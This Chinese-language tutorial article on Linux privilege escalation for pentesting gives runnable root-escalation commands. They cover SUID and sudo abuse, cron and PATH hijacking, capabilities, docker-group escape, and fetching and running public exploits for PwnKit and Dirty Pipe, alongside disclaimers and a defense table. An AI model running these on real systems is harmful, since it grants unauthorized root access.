Linux 系统提权全景指南:从「小透明」到「root 大佬」的晋升之路
⚠️ 免责声明:本文仅限合法授权环境下的学习、渗透测试与安全防御研究。未经授权对系统进行提权测试 = 入侵,涉嫌违反《网络安全法》等法律法规。技术无罪,用法有罪——别拿它干坏事。
0 · 为什么要读这篇?一个引子
想象一下:你辛辛苦苦打了半天靶场 / 做完了一次渗透测试,终于在一个 Web 应用的上传漏洞里拿到了一个 www-data 或普通用户的 Reverse Shell……
然后呢?
$ whoami
www-data ← 连 /home 都进不去的"系统幽灵"
恭喜,你拿到了门票,但 VIP 包厢(root)还在楼上。提权(Privilege Escalation),就是从这张门票走到 VIP 包厢的艺术。
Linux 提权说穿了就两句话:
要么系统配置给了你梯子(配置型提权),要么系统自身有窟窿让你钻(漏洞型提权)。
下面我们把这两扇门全部打开,一层层拆。
1 · 提权第一步:别急着敲 exploit,先做侦察
提权的本质是 「在受限视角下找到一条放行路径」 ,所以信息收集的质量决定了成败。很多人 exploit 跑了一堆没成功,就是因为连内核版本都没看准。
🔍 核心侦察速查表
# ── 我是谁、我在哪 ──────────────────────────────────────
whoami
id # 看 uid/gid/groups,留意是否在 docker 组等
hostname
pwd
# ── 内核与发行版 ────────────────────────────────────────
uname -a # 内核版本 → 匹配内核 exploit 的关键
cat /etc/os-release # 发行版与版本号
cat /proc/version
# ── 已安装的"高危"软件版本 ─────────────────────────────
dpkg -l | grep -i 'sudo\|polkit\|dbus\|systemd' # Debian/Ubuntu
rpm -qa | grep -i 'sudo\|polkit\|dbus\|systemd' # RHEL/CentOS
# ── 所有用户的 sudo 权限基线 ────────────────────────────
sudo -l 2>/dev/null # 当前用户能 sudo 什么(最关键的一条)
# ── 敏感文件权限 ────────────────────────────────────────
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/
find /etc -writable -type f 2>/dev/null
# ── 监听端口 & 运行中服务(找攻击面)──────────────────
ss -tlnp
ps aux | grep -v '\[' | sort
💡 老手经验:如果你懒得一条条敲,直接上自动化脚本:
linpeas.sh— 目前最全面的 Linux 本地提权枚举脚本
linux-exploit-suggester— 专门根据uname -r给你列可用内核 exploit
2 · 配置型提权:「梯子」就在明面上
这类提权的核心逻辑是:管理员为了方便,留了后门——只不过这后门他们自己建的。
2.1 SUID 提权 — 经典中的经典 ⭐
🧠 原理一句话
SUID(Set User ID) 位让程序运行时临时继承文件所有者的权限。如果一个本来属于 root 的程序被设了 SUID,你运行它时,你的有效 UID 就变成了 root。正常情况下这是给 /usr/bin/passwd这类刚需用的——但如果不该有 SUID 的程序带上了这个位,或者有 SUID 的程序能执行任意命令,你就笑了。
🔎 找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 或等价写法
find / -perm -u=s -type f 2>/dev/null
输出里你会看到一堆正常的(passwd、su、mount等),但要盯住那些不该出现的:
/usr/bin/passwd ← 正常(需要 root 才能改 shadow)
/usr/bin/sudo ← 正常
/usr/bin/find ← ⚠️ 危险信号!
/usr/bin/vim ← ⚠️ 危险信号!
/usr/bin/python3 ← ⚠️ 危险信号!
/usr/bin/bash ← 🚨 直接提权!
🛠️ 利用实例(逐个击破)
① bash 直接带 SUID —— 白给
# 如果发现 /usr/bin/bash 带了 SUID 位
ls -la /usr/bin/bash
# -rwsr-xr-x 1 root root ... ← 注意到那个 's'
/usr/bin/bash -p
# -p 参数:不重置 effective UID
whoami
# root 🎉
② find —— 几乎每个 CTF 里都有
# find 的 -exec 可以执行任意命令,而 SUID 让它以 root 身份执行
find / -name "anything" -exec "/bin/sh" \; -quit
# 或
find . -exec /bin/sh -p \; -quit
③ vim / vi —— 编辑器即 shell
vim -c ':!/bin/sh'
# 在 vim 里也可以直接 :!/bin/sh
④ less / more —— 分页器也能起 shell
less /etc/passwd
# 进入 less 的交互界面后:
!sh
⑤ 编程语言解释器(python/perl/ruby)
# Python
python -c 'import os; os.setuid(0); os.execv("/bin/sh", ["sh"])'
# 或简单版
python -c 'import os; os.system("/bin/sh")'
# Perl
perl -e 'exec "/bin/sh";'
⑥ nmap(旧版的交互模式)
nmap --interactive
nmap> !sh
⚠️ 注意:新版 nmap 已经移除了
--interactive,但在老系统或未更新的镜像里依然常见。
2.2 sudo 滥用提权 — 「管理员请你当 root」
🧠 原理一句话
sudo -l告诉你:当前用户在 /etc/sudoers里被允许以 root 身份跑哪些命令,以及是否需要密码。如果管理员手滑配置了 NOPASSWD+ 一个能起 shell 的命令,那就等于给了你一把刻着你名字的 root 钥匙。
🔎 先看你能 sudo 啥
sudo -l
危险输出长这样:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /bin/cat
🛠️ 利用实例
|
|
提权方式 |
|---|---|
|
|
|
|
|
|
|
|
|
|
|
进入后 |
|
|
可用来覆盖 |
|
|
……直接 |
一个完整场景——sudo vim 提权:
$ sudo -l
(root) NOPASSWD: /usr/bin/vim
$ sudo vim
# 进入 vim 后:
:!/bin/sh
# 或写个 root shell 到 /etc/passwd
:r !whoami
# 看到 root ✅
🎯 真实场景里的坑:有些环境加了
Defaults!RESET_ENV或secure_path,会限制 PATH 劫持,但 vim/python/find 这类不需要 PATH 的技巧照跑不误。
2.3 Cron 计划任务劫持 — 「root 定时帮你跑后门」
🧠 原理
cron通常以 root 身份运行周期性任务。如果它执行的脚本/命令所在的文件或目录对普通用户可写,你就可以把自己的代码塞进去,等下一次 cron 触发时——以 root 身份执行。
🔎 找 cron 配置
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/
# 当前用户的 cron
crontab -l
🛠️ 经典利用实例
假设你翻到这个:
# /etc/crontab 里有这么一行:
*/5 * * * * root /home/admin/backup.sh
然后你检查发现:
ls -la /home/admin/backup.sh
# -rw-rw-r-- 1 admin admin ← 其他人也能写!或者 admin 就是你
劫持它:
echo '#!/bin/bash' > /home/admin/backup.sh
echo 'cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell' >> /home/admin/backup.sh
echo '/tmp/rootshell -p' >> /home/admin/backup.sh
chmod +x /home/admin/backup.sh
等 cron 下次触发(最多等 5 分钟):
/tmp/rootshell -p
whoami # root
💡 实战技巧:如果不能直接写脚本,看能不能写它所在的目录(目录可写 = 可以删除原文件再重建)。
2.4 PATH 环境变量劫持 — 「李鬼顶替李逵」
🧠 原理一句话
如果一个特权程序(比如 cron 脚本或 SUID 程序)调用了一个不带绝对路径的命令(如写的是 ls而不是 /bin/ls),它会去 PATH环境变量里按顺序找。如果你能把自己的目录塞到 PATH 最前面,放一个同名恶意程序进去——就能劫持执行流。
🛠️ 实例
假设 root 的 cron 脚本里有:
#!/bin/bash
# /opt/cleanup.sh (以 root 跑)
cd /tmp
ls # ← 没写全路径!
你作为普通用户:
# 1. 造一个假的 ls
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/xsh; chmod +s /tmp/xsh' >> /tmp/ls
chmod +x /tmp/ls
# 2. 劫持 PATH(但实际 cron 不一定继承你的 PATH,所以更可靠的手法是
# 让脚本实际 cd 到的目录或 PATH 可控——视场景而定)
# 更经典的场景:有 SUID 程序内部调用了某个无路径命令
# 这时你可以 export PATH=/tmp:$PATH 然后触发那个 SUID 程序
⚠️ PATH 劫持对 cron 脚本(如果脚本没 sanitize PATH)和 自定义 SUID 二进制(源码里用了不安全的
system("ls")而非/bin/ls)最有效。
2.5 Linux Capabilities 滥用 — 「给程序发了一张 mini-root 通行证」
Capabilities 是 Linux 把传统的「全量 root」拆分成细粒度权限的机制。但有些 cap 一旦给错,就等于半个小 root。
# 找带 capabilities 的可执行文件
getcap -r / 2>/dev/null
高危 caps 速判:
|
Capability |
风险 |
|---|---|
|
|
近 root 级,可挂载文件系统、访问 |
|
|
可绕过文件读权限 → 读 |
|
|
可直接 |
|
|
直接 |
经典实例 — CAP_SETUIDon Python:
$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_admin+ep
$ python3.8 -c '
import ctypes, os
libc = ctypes.CDLL(None)
libc.setresuid(0,0,0)
os.execv("/bin/sh", ["sh"])'
# whoami → root
2.6 Docker 组提权 — 「你以为的容器,其实是宿主机的后门」
如果一个普通用户在 docker组里:
groups
# www-data : www-data docker
那可以直接起一个挂载宿主机根目录的容器:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 现在你在容器的 shell 里,但 /mnt 是宿主机的 /
# 可以直接读 /mnt/root/.ssh/id_rsa 或写 /mnt/etc/shadow
本质:Docker daemon 本身以 root 运行,能操控 Docker = 能碰宿主机文件系统。
3 · 漏洞型提权:「拿漏洞当锤子」
当配置层面找不到梯子时,就该翻 CVE 列表了。内核和用户态服务漏洞是你最后的(也是最猛的)武器。缺点是:动静大、可能崩系统——永远先在测试环境验证。
3.1 PwnKit — CVE-2021-4034(用户态,利用门槛极低 ⭐)
📋 概况
Polkit 的 pkexec工具存在一个环境变量注入导致的本地提权,影响几乎所有主流发行版(RHEL、Ubuntu、Debian、CentOS……),无需事前认证,利用极其稳定。
影响版本
-
polkit< 0.105-26(各发行版打包版本号略有不同)
🛠️ 利用(概念演示)
# 验证是否存在
which pkexec
# 利用(经典公开 PoC 之一)
# https://github.com/berdav/CVE-2021-4034
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034
# whoami → root
防御:升级 polkit 到修复版本,或临时 chmod 0750 /usr/bin/pkexec。
3.2 Dirty Pipe — CVE-2022-0847(内核级,优雅而致命 ⭐⭐)
📋 概况
Max Kellermann 发现的 Dirty Pipe 利用了 Linux 内核管道(pipe)+ splice()零拷贝机制中页缓存页面的 flags 未正确初始化的缺陷,使得攻击者可以覆盖任意只读文件的内容(包括 /etc/passwd),全程无竞争条件、100% 成功率。
影响版本
-
Linux Kernel 5.8 ~ 5.16.11、5.15.x < 5.15.25、5.10.x < 5.10.102
核心思路(通俗版)
splice() 把只读文件的页缓存页"借"给了管道
→ 管道写入时发现这个页是可写的(flag 没标清楚)
→ 你往管道里写数据 = 直接写到文件的页缓存里
→ /etc/passwd 里 root 的密码字段被改成你已知的 hash
→ su root 完事
🛠️ PoC 编译运行(示意)
# 经典 PoC: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit
wget https://raw.githubusercontent.com/.../dirty_pipe.c
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe
# 覆写 /etc/passwd 中 root 的密码为 "" 或可预测值
su root
🩹 修复:升级内核到 ≥ 5.16.11 / 5.15.25 / 5.10.102,或应用上游 patch。
3.3 CVE-2024-1086 — nf_tables 内核提权(武器化程度高)
📋 概况
Netfilter 的 nf_tables子系统存在一个 use-after-free 漏洞,经精心构造可在本地实现提权至 root。PoC 公开后数月内就被集成进了自动化攻击链。
-
影响:Linux Kernel < 特定修复版本(各发行版见各自安全公告)
-
利用特点:需要编译内核 module / 精心布局内存,比 Dirty Pipe 复杂,但一旦成功极稳
利用方式
通常使用现成 PoC 如 nf_tables.c编译执行:
gcc -o nf_tables_exploit nf_tables.c
./nf_tables_exploit
# 拿到 root shell
3.4 近年新动态:2026 的 "Dirty 家族三连" — 页缓存污染的进化
2026 年 4~5 月,Linux 内核连续爆出 Copy Fail (CVE-2026-31431)、Dirty Frag (CVE-2026-43284)、Fragnesia (CVE-2026-46300) 三个高危本地提权漏洞,核心攻击面仍然绕不开一个老问题:零拷贝和页缓存共享边界的信任假设被打破。
|
漏洞 |
核心子系统 |
一句话 |
|---|---|---|
|
Copy Fail (CVE-2026-31431) |
|
通过 crypto 原地写路径污染页缓存,间接影响 SUID 二进制 |
|
Dirty Frag (CVE-2026-43284) |
xfrm-ESP / RxRPC |
shared frag 标记把页缓存页带入原地解密路径 |
|
Fragnesia (CVE-2026-46300) |
skbuff / ESP-in-TCP |
frag 标记传播不完整,页缓存再次被原地篡改 |
值得注意的是,这类漏洞不依赖竞态、不引起 panic、不需要逐发行版调偏移量——这正是它们特别危险的原因。
防御侧唯一硬解:盯紧内核升级,生产环境考虑启用内核热补丁方案(如 livepatch / 商业方案)。
4 · 提权工作流速查卡(打印贴墙上那种)
信息收集 (linpeas.sh / 手工)
│
├── sudo -l 能跑啥? ──→ sudo 滥用提权
├── find / -perm -4000 ──→ SUID 提权
├── getcap -r / ────────→ Capabilities 滥用
├── cat /etc/crontab ───→ Cron 劫持
├── groups 含 docker?──→ Docker 组提权
├── /etc/passwd 可写? / 密钥泄露?
│
└── 以上都没戏?
│
├── uname -a → linux-exploit-suggester → 内核 exploit
└── 检查 polkit/sudo 等用户态 CVE(PwnKit 等)
5 · 防御侧:别让自己的服务器变成提权练习场
|
防御措施 |
针对 |
|---|---|
|
最小权限原则:定期审计 SUID/SGID 文件, |
SUID 提权 |
|
严格 sudoers:拒绝 |
sudo 滥用 |
|
Cron 脚本路径写死 + 目录权限 700:脚本目录不能是普通用户可写 |
Cron 劫持 |
|
Capabilities 审计: |
Cap |
|
内核 & 软件补丁节奏:尤其 polkit、sudo、内核三者是重灾区 |
CVE 利用 |
|
MAC 框架:AppArmor / SELinux 正确启用,可大幅缩小即使被入侵后的提权空间 |
全局 |
|
监控: |
提权痕迹 |
🔚 写在最后
Linux 提权这件事,表面上看是一堆 trick 的拼盘,但底层逻辑非常干净——
操作系统的每一个"为了方便而做的特权传递",如果没有被精确约束,就一定会被当作梯子。
反过来,理解了提权手法,你也就真正理解了 Linux 权限模型的设计哲学:Capability、SUID、命名空间、DAC/MAC……它们不是摆设,每一层都是为了在被突破时少漏一点。
⚠️ 再次提醒:本文所述技术仅可用于 自有设备、授权渗透测试、CTF 竞赛、企业内合法红队演练。对他人系统实施未经授权的提权测试可能触犯《刑法》第285/286条及相关法规。Know how to break it, so you can build it stronger. 🛡️
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)